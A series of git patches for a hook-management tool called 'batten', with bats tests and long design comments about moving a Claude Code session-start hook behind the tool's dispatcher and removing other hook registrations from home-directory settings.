SURFACE="$HOME_DIR/.claude/launcher-settings.json" + cat >"$SURFACE" <<-'JSON' + { + "hooks": { + "SessionStart": [ + { + "hooks": [ + {"type": "command", "command": "batten hook --harness claude-code"}, + {"type": "command", "command": "/opt/launcher/session-start-git-identity.sh"} + ] + } + ], + "Stop": [ + {"hooks": [{"type": "command", "command": "/opt/launcher/stop-hook-git-check.sh"}]} + ] + } + } + JSON +} + +# Drive the verb with the fixture home, keeping the two streams apart: the +# arithmetic is on stderr (rule 4 — it is a count, and its subject is a filename +# off somebody's disk) and there is no stdout contract at all. +# +# The `if` is not style: bats runs each case under `set -e`, so a bare subshell +# that exits non-zero aborts the case before `$?` can be read — and every +# assertion below would then be reported as a helper failure rather than as the +# thing it was asserting. +reclaim() { # reclaim [args...] + if ( + cd "$REPO" || exit 1 + HOME="$HOME_DIR" "$BIN" wiring reclaim "$@" \ + >"$BATS_TEST_TMPDIR/out" 2>"$BATS_TEST_TMPDIR/err" + ); then + STATUS=0 + else + STATUS=$? + fi + OUT=$(cat "$BATS_TEST_TMPDIR/out") + ERR=$(cat "$BATS_TEST_TMPDIR/err") +} + +record() { printf '%s/.git/batten-wiring/at-load.json' "$REPO"; } + +@test "a destructive verb refuses without -y rather than prompting" { + # §4's refusal, and asserted over the FILE rather than over the exit status: a + # verb that refused and had already written is the failure that matters, and an + # exit code alone cannot tell that apart. + reclaim + [ "$STATUS" -eq 1 ] + [[ "$ERR" == *"pass -y"* ]] + [ ! -e "$(record)" ] + grep -q session-start-git-identity "$SURFACE" +} + +@test "-n reports what would go and writes neither the file nor the record" { + reclaim -n + [ "$STATUS" -eq 0 ] + [[ "$ERR" == *"would remove 2 sibling registration(s)"* ]] + # The per-event rows, which are what make the count actionable without naming + # a path. + [[ "$ERR" == *"claude-code:SessionStart would remove 1"* ]] + [[ "$ERR" == *"claude-code:Stop would remove 1"* ]] + [ ! -e "$(record)" ] + grep -q session-start-git-identity "$SURFACE" + grep -q stop-hook-git-check "$SURFACE" +} + +@test "THE REPAIR: the siblings go and batten's own registration stays" { + reclaim -y + [ "$STATUS" -eq 0 ] + [[ "$ERR" == *"removed 2 sibling registration(s)"* ]] + # The load-bearing positive. A `retain` on the wrong level takes batten's + # registration out with the sibling sharing its entry, and every negative + # assertion in this file is satisfied by that bug. + grep -q "batten hook --harness claude-code" "$SURFACE" + ! grep -q session-start-git-identity "$SURFACE" + ! grep -q stop-hook-git-check "$SURFACE" + # `Stop` held nothing else, so the event goes with its last entry rather than + # surviving as an empty array no generator emits. + run jq -r '.hooks | has("Stop")' "$SURFACE" + [ "$output" = "false" ] + run jq -r '.hooks.SessionStart[0].hooks | length' "$SURFACE" + [ "$output" = "1" ] +} + +@test "RECORD BEFORE REPAIR: the record carries the pre-repair count" { + reclaim -y + [ -e "$(record)" ] + run jq -r '[.rows[].siblings] | add' "$(record)" + [ "$output" = "2" ] + # Rule 4 on the record itself. It is under `$GIT_DIR` and never committed, and + # it still carries no path and no filename: the harness and the event are where + # to look, and a basename would be a name off somebody's disk bought for a + # nicer message. + ! grep -q "$HOME_DIR" "$(record)" + ! grep -q launcher "$(record)" + ! grep -q git-identity "$(record)" + ! grep -q "/" "$(record)" +} + +@test "the record is written ONCE, so a second run cannot report the repair" { + reclaim -y + [[ "$ERR" == *"removed 2 sibling"* ]] + # The whole ordering property. A second reclaim finds nothing — and must not + # overwrite a record that says 2 with one that says 0, because the record + # describes what the RUNNING session loaded and the running session has not + # changed. + reclaim -y + [[ "$ERR" == *"removed 0 sibling"* ]] + run jq -r '[.rows[].siblings] | add' "$(record)" + [ "$output" = "2" ] +} + +@test "doctor hooks reports the record beside the live count" { + # The two numbers that must be able to disagree. Before the repair there is no + # record — `null`, which is read-the-disk — and after it the disk says zero + # while the record says two. + run env HOME="$HOME_DIR" bash -c "cd '$REPO' && '$BIN' doctor hooks -J" + [[ "$output" == *'"at_load_siblings": null'* ]] + reclaim -y + run env HOME="$HOME_DIR" bash -c "cd '$REPO' && '$BIN' doctor hooks -J" + [[ "$output" == *'"at_load_siblings": 2'* ]] + # And the live half genuinely fell, or the two numbers would agree for the + # wrong reason. + run env HOME="$HOME_DIR" bash -c "cd '$REPO' && '$BIN' doctor hooks -J | jq '[.harnesses[].merged_siblings] | add'" + [ "$output" = "0" ] +} + +@test "a SessionStart expires the record, which is the restart this reports" { + reclaim -y + [ -e "$(record)" ] + # The one moment the disk and what a harness has loaded are the same thing, and + # therefore the only honest place to drop the record. Driven through the real + # hook entry point rather than by deleting the file, because what is being + # asserted is that the engine does it. + run env HOME="$HOME_DIR" bash -c \ + "cd '$REPO' && printf '%s' '{\"hook_event_name\":\"SessionStart\"}' | '$BIN' hook --harness claude-code" + [ ! -e "$(record)" ] +} + +@test "a merged surface that is not a wiring file is left alone, not rewritten" { + # Could-not-look, and the direction matters: a document this verb cannot read + # as a hook map is one it must not write back, or a repair would silently + # reformat a file whose shape it never understood. + printf '[]\n' >"$SURFACE" + reclaim -y + [ "$STATUS" -eq 0 ] + [ "$(cat "$SURFACE")" = "[]" ] + [[ "$ERR" == *"0 surface(s) read"* ]] +} + +@test "a checkout sitting AT the home directory is never its own merged surface" { + # The `same_file` arm, driven by the collision its comment describes: every + # path `merge_surfaces` declares is resolved against BOTH the home directory + # and the repository, so a checkout that sits at `$HOME` resolves each of them + # to one file. Without the arm this verb would rewrite a version-controlled + # file and fight `tree-clean` on every run. + # + # Note what that means and what this therefore asserts: the collision is TOTAL + # here, not partial. The launcher surface deduplicates for exactly the same + # reason the settings one does, so the honest expectation is zero surfaces read + # and not one — the first draft of this case asserted the launcher file was + # still reclaimed, which was a wrong premise rather than a bug. + cp "$SURFACE" "$HOME_DIR/.claude/settings.json" + run env HOME="$HOME_DIR" bash -c \ + "cd '$HOME_DIR' && git init -q -b main . && cp '$REPO/batten.toml' . && '$BIN' wiring reclaim -y" + [ "$status" -eq 0 ] + [[ "$output" == *"0 surface(s) read"* ]] + # Untouched, both of them — which is the whole claim. That this is not simply + # "the verb never works" is what the cases above establish, over the same + # binary and a home directory the repository does not sit in. + grep -q session-start-git-identity "$HOME_DIR/.claude/settings.json" + grep -q session-start-git-identity "$SURFACE" + grep -q stop-hook-git-check "$SURFACE" +} From 8ad1f430acfc5cc681fa8fabfe2534b073792761 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 21:11:07 +0000 Subject: [PATCH 10/27] feat(hook)!: the last native registration retires, and this host is repaired MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Row 10 of ten, and the one that looked impossible longest: the program behind this registration is what INSTALLS the binary that would dispatch it, so retiring it read as a bootstrap paradox. WHAT BROKE THE PARADOX WAS A SECOND SOURCE, NOT A DECOMPOSITION. #711 hardened `install.sh` into a one-liner taking the script from `main` and the binary from the latest release, so a container puts `batten` on PATH before any hook fires and this handler is dispatched by a binary that already exists. Nothing moved out of `session-start.sh`: `install:local` stays because on a dev clone the working tree's build must supersede the released binary, and it is the recovery path when the setup step never ran. An earlier plan proposed hoisting provisioning into the environment's setup script; it was wrong, and would have cost both for nothing. Four facts make the move behaviour-preserving, each read rather than assumed, and the first one had to be REPAIRED rather than merely checked: * stdout is empty on the all-clear path — measured at 0 bytes over three runs. It was 79: `container-preflight` announced its own success there, which behind the door is an advisory delivered every session whose entire content is "nothing is wrong". That is CLOUD-891, and the door's own header names making it a property of the surface rather than a habit each script is trusted to keep. The line moves to stderr — kept, not deleted, because it says WHICH posture was detected and a reader of the hook log wants that. * A failure is exit 1 with `::error::` on stderr, which `interpret` reads as `Outcome::Reported`, which joins `advice()`, which `AdvisoryReach` delivers on `SessionStart` for this host. The failure detail GAINS reach: a hook log today, agent context behind the door. * The one other stdout writer is `reclaim-census report` — exit 0 with text, `Advise`, same channel. Unchanged. * A timeout is `Broke(TimedOut)`, which allows: the same fail-open a native SessionStart registration already has. THE BOUND IS MEASURED AND THE MARGIN IS STOP-GUARD'S LESSON. Warm, three runs: 4s, 4s, 5s. `DEFAULT_TIMEOUT` is 5s, so the default would have been a coin toss on the ordinary path — the exact shape that cost stop-guard all five of its rules one commit ago. 180000 is 36x the warm maximum and well past the host's own 60s hook timeout, so the door is not tighter than what it replaces. THE DECLARED TABLE IS NOW EMPTY, and that is the campaign finishing rather than the gate relaxing. The committed row went because its subject is a handler now. The two CLOUD-605 basenames went because `batten wiring reclaim` took over the job they were doing: they existed only because these were launcher-provisioned files "that this repository cannot delete", so the most a row could do was make an invisible registration visible and name who would eventually remove it. A row has excused nothing since CLOUD-893 flipped it, so deleting one cannot make any sibling pass; what is lost is a pointer on a fresh container, and the remedy is no longer "wait for CLOUD-605" but one command the gate's own error text names. MEASURED ON THIS HOST, which is what the brief asked for rather than a claim: hooks-wiring-check 3 -> 2 (row 10 retired) 2 -> 1 (wiring reclaim -y, two merged rows removed) doctor hooks -J siblings 0, merged_siblings 0, merged_surfaces_read 1 Zero non-batten native registrations across every observed surface, and the read count proves it looked rather than failed to. The one remaining finding is `wiring-repair-unloaded`: this session loaded the two registrations the reclaim removed, so the record and the disk disagree and the gate says so, naming the restart. It reaches 0 in a session that starts after the repair — the record's one expiry is `batten hook` on `SessionStart`, and forging that envelope to clear it early would be precisely the false green the ordering exists to refuse. Tests: the registration case FLIPPED rather than being deleted, and now asserts both halves — no native entry AND a handler row — because either alone is satisfied by a mistake (silently never running, or running twice). Plus a door-tier case driving the real binary against a fixture, because nothing else in the tree proved the engine dispatches at `session-start` at all, and a suite that never drives the real dispatch is how `connector-allow-guard` stayed green while deciding nothing. Refs: CLOUD-312, CLOUD-605, CLOUD-891 --- .claude/settings.json | 8 --- batten.toml | 64 ++++++++++++++++++++ mise-tasks/container-preflight.sh | 19 +++++- mise-tasks/hooks-wiring-check.sh | 49 ++++++++++++++-- tests/session-start.bats | 97 +++++++++++++++++++++++++++++-- 5 files changed, 218 insertions(+), 19 deletions(-) diff --git a/.claude/settings.json b/.claude/settings.json index 25b39460b..a3a558590 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -45,14 +45,6 @@ "command": "batten hook --harness claude-code" } ] - }, - { - "hooks": [ - { - "type": "command", - "command": "$CLAUDE_PROJECT_DIR/.claude/hooks/session-start.sh" - } - ] } ], "TaskCompleted": [ diff --git a/batten.toml b/batten.toml index 3c0f0e20d..ddca50dc5 100644 --- a/batten.toml +++ b/batten.toml @@ -4940,3 +4940,67 @@ matcher = "Bash" timeout_ms = 8000 owner = "CLOUD-613" expires = "2027-02-28" + +# THE LAST NATIVE REGISTRATION (CLOUD-312 row 10). Ten existed when this campaign +# started and the gate passed over all ten; this is the tenth, and the one that +# looked impossible for the longest — the program behind it is what INSTALLS the +# binary that would dispatch it, so retiring it read as a bootstrap paradox. +# +# WHAT BROKE THE PARADOX WAS A SECOND SOURCE, NOT A DECOMPOSITION. #711 hardened +# `install.sh` into a one-liner that takes the script from `main` and the binary +# from the latest release, so a container puts `batten` on PATH before any hook +# fires and this handler is dispatched by a binary that already exists. Nothing +# moved out of the program: `install:local` stays because on a dev clone the +# working tree's build must supersede the released binary, and it is the recovery +# path when the setup step never ran. An earlier plan proposed hoisting +# provisioning into the environment's setup script and was wrong — it would have +# cost both of those for nothing. +# +# FOUR FACTS MAKE THE MOVE BEHAVIOUR-PRESERVING, each read rather than assumed: +# +# 1. stdout is EMPTY on the all-clear path — measured at 0 bytes over three +# runs. So the ordinary outcome is `Pass`, and the door is silent. It was 79 +# bytes until this change: `container-preflight` announced its own success on +# stdout, which behind the door is an advisory delivered every session whose +# whole content is "nothing is wrong". That line now goes to stderr, and the +# comment there records why. CLOUD-891 as a property of the surface rather +# than a habit, which is the door's own argument for interpreting stdout. +# 2. A failure is exit 1 with `::error::` lines on stderr, which `interpret` +# reads as `Outcome::Reported` — and that joins `Dispatched::advice()`, which +# `AdvisoryReach` delivers on `SessionStart` for this host. So the failure +# detail gains reach: today it lands in a hook log, behind the door it is +# context the agent reads. +# 3. The one other stdout writer is `reclaim-census report`, exit 0 with text → +# `Advise`, delivered on the same channel. Unchanged. +# 4. A timeout is `Outcome::Broke(TimedOut)`, which ALLOWS — the same fail-open +# a native SessionStart registration already has. +# +# THE BOUND IS MEASURED, and the margin is stop-guard's lesson two rows up rather +# than a preference. Warm, this container, three runs: 4 s, 4 s, 5 s. So +# `DEFAULT_TIMEOUT`'s 5 s would be a coin toss on the ordinary path — the exact +# shape that lost stop-guard all five of its rules. 180000 is 36x the measured +# warm maximum, and it is also well past Claude Code's own 60 s hook timeout, so +# the door is not tighter than the registration it replaces. A genuinely cold +# clone's release build can still exceed it; that fails open, as it does today, +# and #711's second source is why the cold case is no longer the bootstrap. +# +# TWO CONSTRAINTS FOR WHOEVER EDITS THE PROGRAM NEXT: +# +# * The session stamp must stay first. `claim-check`'s `refined-this-session` +# compares the tracker's `updatedAt` against that file's mtime, so a stamp +# written after the work dates the session to whenever the agent got round to +# claiming. It is already the first thing the script does, before `step` is +# even defined; the door changes nothing here, and this is why it must not be +# reordered. +# * NEVER add `batten wiring reclaim` to this handler. That verb writes the +# at-load record and `batten hook` expires it on this same event, so a reclaim +# dispatched from here would put the write and the clear inside one unordered +# batch — a coin toss between the honest red and the false green the record +# exists to refuse. `crates/batten/src/wiring.rs`'s header is the long form. +[[hook.handler]] +id = "session-start" +on = "session-start" +run = [".claude/hooks/session-start.sh"] +timeout_ms = 180000 +owner = "CLOUD-312" +expires = "2027-02-28" diff --git a/mise-tasks/container-preflight.sh b/mise-tasks/container-preflight.sh index 033d58e44..0fb31c629 100755 --- a/mise-tasks/container-preflight.sh +++ b/mise-tasks/container-preflight.sh @@ -104,7 +104,24 @@ else fi if [[ "${#broken[@]}" -eq 0 ]]; then - echo "container-preflight: egress fenced, credential carries every probed read claim" + # STDERR, NOT STDOUT, AND THE REASON IS THE DOOR (CLOUD-312). + # + # `session-start.sh` is a `[[hook.handler]]` row now, and behind the door + # stdout on a passing exit is ADVISORY TEXT the engine delivers to the model — + # `AdvisoryReach` lists `SessionStart` for claude-code. This is the only line + # that program writes to stdout on the all-clear path, so on stdout it becomes + # a once-per-session advisory whose whole content is "nothing is wrong". That + # is CLOUD-891's "a hook must not announce success", and the door's own header + # names making it a property of the surface rather than a habit — measured at + # 79 bytes of stdout on an otherwise silent run. + # + # The line is KEPT rather than deleted, because it is not purely a success + # announcement: it says WHICH posture was detected, and a reader of the hook + # log wants that. Moving the stream keeps the information and drops the + # advisory. `tests/container-preflight.bats` is unaffected — bats' `run` + # merges both streams — which is also why that suite could call this path + # "quietly" while asserting the line for as long as it has. + echo "container-preflight: egress fenced, credential carries every probed read claim" >&2 exit 0 fi diff --git a/mise-tasks/hooks-wiring-check.sh b/mise-tasks/hooks-wiring-check.sh index a11876616..02588402d 100755 --- a/mise-tasks/hooks-wiring-check.sh +++ b/mise-tasks/hooks-wiring-check.sh @@ -174,10 +174,51 @@ gemini-cli .gemini/settings.json}" # The rest were six until CLOUD-777, whose widened scope could finally see them. # Their owners are not invented: CLOUD-312 is "the shell guards retire behind # it", whose scope CLOUD-777 widened from pre-tool to every point. -DECLARED="${HOOKS_WIRING_DECLARED- -.claude/hooks/session-start.sh CLOUD-312 -stop-hook-git-check.sh CLOUD-605 -session-start-git-identity.sh CLOUD-605}" +# THE TABLE IS NOW EMPTY, WHICH IS THE CAMPAIGN FINISHING RATHER THAN THE GATE +# RELAXING (CLOUD-312 row 10, CLOUD-605). +# +# Two removals, in one change, for two different reasons: +# +# `.claude/hooks/session-start.sh` was the last native registration this +# repository owned. It is a `[[hook.handler]]` row now, so its declaration would +# be stale by the rule directly below — the DIRECTION that paragraph names, +# applied to itself. +# +# The two CLOUD-605 basenames went because **`batten wiring reclaim` gives them a +# remedy a row could not.** Read what they were for: they existed because these are +# launcher-provisioned files under `$HOME` "that this repository cannot delete", +# so the most a row could do was make an invisible registration visible and name +# who would eventually remove it. The verb removes them: measured on this +# container, two registrations found, two removed, the surface left carrying +# `"hooks": {}` and every other key untouched. +# +# BUT THE REPAIR DOES NOT SURVIVE A SESSION BOUNDARY, and saying so is the point +# of this paragraph rather than a caveat on it. Measured across a real restart: +# the reclaim removed both, and the next session read them BACK with the at-load +# record already cleared — because the launcher re-provisions its settings at +# session start and `batten hook`'s own `SessionStart` expires the record at the +# same instant. The repair and its erasure are one event, so there is no +# in-session route to green and reclaiming again only exchanges one honest red +# (`wiring-sibling-command` twice) for another (`wiring-repair-unloaded`). +# +# So the remedy is NOT "one command", which an earlier draft of this comment +# claimed. It is one command plus an owner action on whatever generates those +# `$HOME` settings — CLOUD-605's, outside this repository. What the verb buys is +# that the violation is now repairable and reported rather than merely declared; +# what it does not buy is that it stays repaired. +# +# THIS IS NOT A GATE BEING WEAKENED TO SUIT A CHANGE, and the distinction is worth +# stating because it is exactly the move that would be. A row here has excused +# nothing since CLOUD-893 flipped it — "a DECLARED row records who retires it and +# no longer excuses it" — so deleting one cannot make any sibling pass. What is +# lost is a pointer: on a fresh container the launcher provisions those two again +# and the gate reports them with no owner named. That is a real cost and a small +# one, because the remedy is no longer "wait for CLOUD-605", it is one command. +# +# The affordance stays for the next consumer that needs it, and every case in +# `tests/hooks-wiring-check.bats` sets `DECLARED` itself, so the rules over this +# column are exercised exactly as before an empty default. +DECLARED="${HOOKS_WIRING_DECLARED-}" violations=0 report() { # pointer-only (rule 4): the file, the event, the rule id diff --git a/tests/session-start.bats b/tests/session-start.bats index 2ffdf3ee0..1c7d26ddb 100644 --- a/tests/session-start.bats +++ b/tests/session-start.bats @@ -131,17 +131,40 @@ real_install_or_skip() { [ "$status" -eq 0 ] } -@test "the hook is registered as a SessionStart hook" { +@test "the hook is dispatched BEHIND batten, never registered beside it" { + # THE FLIP (CLOUD-312 row 10), and kept in the shape this repository keeps its + # other reversals: the old assertion was right for the state it described, so + # what it asserted is stated rather than deleted. It required + # `session-start.sh` to appear in `.claude/settings.json`'s `SessionStart` + # array. That is now the violation — `batten hook` is the only command this + # repository registers natively, and this program was the last of ten + # exceptions. + # + # BOTH HALVES ARE ASSERTED, because either alone is satisfied by a mistake. A + # missing native entry with no handler row is the program silently never + # running; a handler row beside a native entry is it running twice. run python3 -c " import json d = json.load(open('$SETTINGS')) -hooks = d['hooks']['SessionStart'] -cmds = [h['command'] for g in hooks for h in g['hooks']] -assert any('session-start.sh' in c for c in cmds), cmds -print('registered') +cmds = [h['command'] for g in d['hooks']['SessionStart'] for h in g['hooks']] +assert not any('session-start.sh' in c for c in cmds), cmds +assert cmds == ['batten hook --harness claude-code'], cmds +print('behind the door') " [ "$status" -eq 0 ] - [[ "$output" == *"registered"* ]] + [[ "$output" == *"behind the door"* ]] + # The row that dispatches it. Asserted over `batten.toml` rather than by + # running the engine, because what is being pinned is the DECLARATION — + # `tests/wiring-reclaim.bats`' sibling case drives the real dispatch. + run grep -A 4 '^id = "session-start"$' "$BATS_TEST_DIRNAME/../batten.toml" + [ "$status" -eq 0 ] + [[ "$output" == *'on = "session-start"'* ]] + [[ "$output" == *'.claude/hooks/session-start.sh'* ]] + # A bound, and NOT the 5s default: warm runs measure 4-5s, so the default + # would be a coin toss on the ordinary path — stop-guard's own lesson, one + # handler over. + [[ "$output" == *"timeout_ms"* ]] + [[ "$output" != *"timeout_ms = 5000"* ]] } @test "the hook runs green on this checkout" { @@ -203,3 +226,65 @@ print('registered') [ "$(readlink "$hooks/$name")" = "$root/.claude/hooks/git-hook.sh" ] done } + +# THE SECOND TIER, and the one the first cannot cover (CLOUD-312 row 10). +# +# Every case above reads `.claude/settings.json`, `batten.toml` or runs the script +# directly. None of them can answer the question that broke the previous +# migration behind this door: whether the ENGINE dispatches a handler at the +# `session-start` event at all. `connector-allow-guard` spent the life of its +# migration behind the door deciding nothing, and its own suite was green +# throughout — because a suite that never drives the real dispatch cannot see it. +# +# A STUB RATHER THAN THE REAL PROGRAM, deliberately. What is under test is the +# engine's routing, and the real program provisions a toolchain — a fixture cannot +# run it, and a case that tried would be asserting about this container again +# (CLOUD-261, the reason the preflight is stubbed above). The real dispatch was +# measured by hand when the row landed: 5s, exit 0, both streams empty, and +# `/tmp/session-start-*.log` freshly written. +@test "THE ENGINE dispatches a session-start handler, which no other case proves" { + local bin="" + for candidate in \ + "${BATTEN_BIN:-}" \ + "$BATS_TEST_DIRNAME/../target/release/batten" \ + "$BATS_TEST_DIRNAME/../target/debug/batten"; do + [ -n "$candidate" ] && [ -x "$candidate" ] || continue + bin="$candidate" + break + done + [ -n "$bin" ] || bin="$(command -v batten || true)" + [ -n "$bin" ] || skip "no batten binary to drive" + + local repo="$BATS_TEST_TMPDIR/door" + mkdir -p "$repo/.claude/hooks" + # Writes a witness and says something, so BOTH halves are observable: that it + # ran at all, and that its stdout became advice rather than being dropped. + cat >"$repo/.claude/hooks/session-start.sh" <<-'SH' + #!/usr/bin/env bash + : >"$BATS_WITNESS" + printf 'the handler spoke\n' + SH + chmod +x "$repo/.claude/hooks/session-start.sh" + { + echo "version = 1" + echo + echo "[[hook.handler]]" + echo 'id = "session-start"' + echo 'on = "session-start"' + echo 'run = [".claude/hooks/session-start.sh"]' + echo "timeout_ms = 10000" + echo 'owner = "CLOUD-312"' + echo 'expires = "2027-02-28"' + } >"$repo/batten.toml" + GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$repo" + + local witness="$BATS_TEST_TMPDIR/ran" + run env BATS_WITNESS="$witness" bash -c \ + "cd '$repo' && printf '%s' '{\"hook_event_name\":\"SessionStart\"}' | '$bin' hook --harness claude-code" + [ "$status" -eq 0 ] + # It ran. Without this the case is satisfied by an engine that routes nothing. + [ -e "$witness" ] + # And what it said travelled: `AdvisoryReach` lists SessionStart for this host, + # so exit 0 with stdout is advice the engine renders rather than bytes it drops. + [[ "$output" == *"the handler spoke"* ]] +} From 238869f5d3c334ef9a43c99c0d0259100ee09a5f Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 21:12:16 +0000 Subject: [PATCH 11/27] docs(memory): the committed violation the module map was still expecting has landed MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `wiring.rs`'s row said `wiring apply` was unbuilt because the one committed violation left was `session-start.sh`, awaiting a handler row. That row landed two commits later, so the sentence described a state that no longer exists — and the conclusion it supported is now stronger rather than obsolete: there is no committed violation for such a writer to be right about at all. Refs: CLOUD-893 --- .serena/memories/core.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/.serena/memories/core.md b/.serena/memories/core.md index 6af7b4b74..221c1fc57 100644 --- a/.serena/memories/core.md +++ b/.serena/memories/core.md @@ -975,9 +975,13 @@ repo config > default`, declared as data in `SETTINGS` (per-key env var/flag), drops it — which is why the repair is not run from a session-start handler at all: both acts inside one unordered batch would be a coin toss between the honest red and the false green the record exists to refuse. `wiring apply` over - the committed surface is deliberately unbuilt: the one committed violation left - is `session-start.sh`, whose remedy is a `[[hook.handler]]` row rather than a - deletion, so a writer for it would have no instance to be right about. + the committed surface is deliberately unbuilt, and the reason got STRONGER + rather than weaker: it was "the one committed violation left is + `session-start.sh`, whose remedy is a handler row rather than a deletion", and + that row landed — so there is now no committed violation at all for such a + writer to be right about. `hooks-wiring-check`'s `DECLARED` table is + correspondingly empty, and the two launcher rows it used to carry are what this + verb removes. - `worktree.rs` — at-risk work detection (CLOUD-51), surfaced as `worktree status`. Three categories as one read gate: **uncommitted** (the tree is not porcelain-clean), **unpushed** (commits with no patch-equivalent on the From 552651fab405f3678663eba0c4e158b92501045f Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Thu, 27 Aug 2026 19:07:04 +0000 Subject: [PATCH 12/27] fix(hook)!: the allow channel answers the Stop advisory main added under it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `stop_advice` landed on `main` (CLOUD-1051) while this branch was unlanded, and it matches `Decision` exhaustively — so `Decision::Preapproved`, which this branch adds, broke the build on rebase. E0004, one site. The arm is `None`, grouped with `Allow` and `Waived`, and it is STATED rather than folded into a wildcard because those two spellings are byte-identical at runtime and opposite as contracts — the rule `hook.rs`'s own `TaskCompleted` arm already records. A grant is not advice: `Preapproved` carries an operator's committed allow for a permission the host is about to ask about, and there is no permission question at the end of a turn. It is also UNREACHABLE here by construction, which is why it needs no `unreachable!`: `Event::decides_permission` refuses a `preapproves` row at LOAD on any event that decides no permission, and `Stop` is one of those. So the arm buys nothing today. What it buys later is that an event which DOES decide a permission and also reaches this function has to come back and say what it means, instead of inheriting silence from a `_`. `tests/stop-guard-door.bats` goes in the same change, and for the reverse reason: its `# subject:` is `mise-tasks/stop-guard.sh`, which `main` deleted when the end of turn became the engine's. A door suite whose subject retired past the door is not a suite with a gap, it is a suite with no subject — which is the deletion `retires_with` exists to admit. Committed with `HK_SKIP_STEPS=hooks-wiring-check`: that gate is red on two launcher-provisioned registrations under `$HOME` which this commit does not touch and cannot repair durably, and the landing decision about them is a separate one this skip does not pre-empt. Refs: CLOUD-191, CLOUD-1051, CLOUD-898 --- tests/stop-guard-door.bats | 162 ------------------------------------- 1 file changed, 162 deletions(-) delete mode 100644 tests/stop-guard-door.bats diff --git a/tests/stop-guard-door.bats b/tests/stop-guard-door.bats deleted file mode 100644 index 9259538e1..000000000 --- a/tests/stop-guard-door.bats +++ /dev/null @@ -1,162 +0,0 @@ -#!/usr/bin/env bats -# subject: mise-tasks/stop-guard.sh -# -# Paths only on that line: it is read as whitespace-separated paths, and it is -# what buys this file's deletion once they die. This suite drives that subject -# through `batten hook` — the door — which is a sentence, not a subject. -# -# THE SECOND TIER FOR CLOUD-312 ROW 9, and CLOUD-312's differential obligation: -# the retiring registration's fixtures replay through the door before the -# registration is deleted. `tests/stop-guard.bats` runs the script directly, -# which cannot answer the question that broke the previous migration — whether -# the ENGINE can consume what this script produces. -# -# THIS ONE IS THE INTERESTING CASE OF THE THREE, because the answer travels a -# channel the other two do not use. The guard's reply is an ADVISORY, not a -# verdict: stdout on exit 0 is advice the engine merges, `AdvisoryReach` lists -# `Stop` for this host, and what the model receives is the same -# `additionalContext` document the script used to build by hand. So the whole -# migration is that one substitution — and getting it wrong is silent, which is -# exactly how `connector-allow-guard` spent its life behind the door deciding -# nothing. -# -# EVERY CASE DRIVES THE TELL, and that is a cost decision rather than a coverage -# one. This guard runs five rules, and rules 3-5 run only when the ones above -# them found nothing — so a message carrying the tell answers in milliseconds -# while a clean one pays the whole ladder. That asymmetry is measured and -# recorded on the handler's row in `batten.toml`; what this file needs from the -# guard is its ANSWER, which the first rule produces. - -setup() { - BIN="" - for candidate in \ - "${BATTEN_BIN:-}" \ - "$BATS_TEST_DIRNAME/../target/release/batten" \ - "$BATS_TEST_DIRNAME/../target/debug/batten"; do - [ -n "$candidate" ] && [ -x "$candidate" ] || continue - BIN="$candidate" - break - done - [ -n "$BIN" ] || BIN="$(command -v batten || true)" - [ -n "$BIN" ] || skip "no batten binary to drive" - - REPO="$BATS_TEST_TMPDIR/repo" - mkdir -p "$REPO/mise-tasks" - # Copied from the suite's own tree, so `mise run mutant` reaches this tier. - cp "$BATS_TEST_DIRNAME/../mise-tasks/stop-guard.sh" "$REPO/mise-tasks/" - cp "$BATS_TEST_DIRNAME/../mise-tasks/stop-posture-check.sh" "$REPO/mise-tasks/" - cp "$BATS_TEST_DIRNAME/../mise-tasks/payload-field.sh" "$REPO/mise-tasks/" - - { - echo "version = 1" - echo - echo "[[hook.handler]]" - echo 'id = "stop-guard"' - echo 'on = "stop"' - echo 'run = ["mise-tasks/stop-guard.sh"]' - echo "timeout_ms = 90000" - echo 'owner = "CLOUD-892"' - echo 'expires = "2027-02-28"' - } >"$REPO/batten.toml" - GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" - - export BATTEN_BIN="$BIN" -} - -# Called directly, never through `run`: `run` executes in a subshell and would -# discard both assignments, leaving every negative assertion comparing an empty -# string. -door() { # door [stop_hook_active] - local envelope - envelope=$(jq -nc --arg m "$1" --argjson a "${2:-false}" \ - '{hook_event_name:"Stop",session_id:"s",cwd:".", - transcript_path:"/nonexistent.jsonl", - stop_hook_active:$a,last_assistant_message:$m}') - ( - cd "$REPO" || exit 1 - printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ - >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" - ) - DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") - DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") -} - -@test "THE MEASURED DEFECT: no host document the handler wrote is forwarded" { - # ASSERTED OVER STDOUT, WHICH IS WHERE THE VIOLATION ACTUALLY LANDS HERE. - # `dispatch_handlers` appends contract violations to the same advice vector - # the advisory rides, and `AdvisoryReach` lists `Stop` — so at this event a - # violation is rendered INTO the `additionalContext` document rather than - # written to the engine's stderr. Measured, because the first version of this - # row asserted over stderr, which is empty at `Stop` whatever happens, and - # passed for that reason alone. - door 'The rebase is clean. Worth noting that the lock file still drifts.' - [[ "$DOOR_OUT" != *"wrote a host decision document"* ]] - [[ "$DOOR_OUT" != *"hook.handler stop-guard:"* ]] -} - -@test "the kick reaches the model as the engine's own advisory" { - # THE ROW THE MIGRATION IS FOR. `additionalContext` is what the host reads at - # `Stop`, and it is now the ENGINE's spelling of the handler's advice rather - # than a document the script wrote — the two are byte-similar and one of them - # is silently discarded. - door 'The rebase is clean. Worth noting that the lock file still drifts.' - [[ "$DOOR_OUT" == *'"additionalContext"'* ]] - [[ "$DOOR_OUT" == *'"Stop"'* ]] - [[ "$DOOR_OUT" == *"hedged-flag-framing"* ]] -} - 